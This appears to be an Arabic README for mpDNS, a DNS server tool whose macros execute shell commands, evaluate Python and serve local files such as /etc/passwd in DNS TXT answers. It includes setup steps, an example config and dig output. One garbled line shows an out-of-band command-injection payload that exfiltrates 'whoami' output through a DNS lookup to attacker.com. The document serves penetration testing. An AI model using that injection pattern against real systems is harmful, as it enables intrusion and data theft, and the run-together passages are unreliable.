
خادم DNS متعدد الأغراض
خادم DNS بسيط وقابل للتكوين مع ميزات مفيدة متعددة
{{shellexec::dig google.com +short}} -> تنفيذ أمر شل والرد بالنتيجة{{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> تقييم كود بايثون الخاص بك{{file::/etc/passwd}} -> الرد بمحتويات ملف محلي{{filelist::/somefile.list}} -> الرد بنتائج متعددة سطرًا بسطر{{resolve}} -> إعادة توجيه طلب DNS إلى نظام DNS المحلي{{resolve::example.com}} -> حل example.com بدلاً من السجل الأصلي{{echo}} {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> استخدام المتغيراتمبني بشكل كبير على https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db
الآن أنت مستعد لملء سجلات DNS الخاصة بك في names.db بناءً على names.db.example
الاستخدام: ./mpdns.py
./mpdns.py -e لا يلزم إعادة تشغيل/ping.php?ip=$(dig $(whoami).attacker.com))TXT واحدTXT التي يتم تقسيمها إلى أجزاء بحجم 256 بايت حتى تصل الاستجابة إلى الحد الأقصى المسموح به 65200 بايتTXT مع ماكرو {{file:localfile.txt}} محدود إلى 65200 بايت.test.*.example.com{{resolve::example.com}}TTL مضبوط دائمًا على 0مثال names.db:
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored
shellexec TXT {{shellexec::whoami}}
eval TXT {{eval::import random; res = random.randint(1,500)}}
resolve1 A {{resolve}}
resolve2 A {{resolve::self}} #same as previous
resolve3 A {{resolve::example.com}}
blabla.com A 5.5.5.5
* A 127.0.0.1
*.example.com A 7.7.7.7
c1.example.com CNAME c2.example.com
c2.example.com CNAME c3.example.com
c3.example.com CNAME google.example.com
google.example.com CNAME google.com
test.example.com A 8.8.8.8
google.com A {{resolve::self}}
notgoogle.com A {{resolve::google.com}}
تحليل عادي من قاعدة البيانات: dig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
مخرجات mpDNS: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
تحليل CNAME التكراري: dig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com. IN A
;; ANSWER SECTION:
c1.example.com. 0 IN CNAME c2.example.com.
c2.example.com. 0 IN CNAME c3.example.com.
c3.example.com. 0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com. 0 IN A 216.58.206.14
مخرجات mpDNS:
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)
- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
تحليل حرف البدل: dig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com. 0 IN A 127.0.0.1
مخرجات mpDNS: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
تحليل النطاق الفرعي بحرف البدل: dig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
مخرجات mpDNS: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)
ماكرو إعادة توجيه الطلب: dig google.com @localhost
;; ANSWER SECTION:
google.com. 0 IN A 172.217.22.110
مخرجات mpDNS: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)
ماكرو إعادة توجيه طلب نطاق مخصص: dig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com. 0 IN A 172.217.22.110
مخرجات mpDNS: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)
ماكرو محتويات الملف عبر استعلام TXT: dig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
مخرجات mpDNS: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)
ماكرو كود بايثون مخصص عبر استعلام TXT: dig txt eval @localhost
;; ANSWER SECTION:
eval. 0 IN TXT "320"
مخرجات mpDNS: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)
ماكرو أمر شل عبر استعلام TXT: dig txt shellexec @localhost
;; ANSWER SECTION:
shellexec. 0 IN TXT "root"
مخرجات mpDNS: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)
استمتع!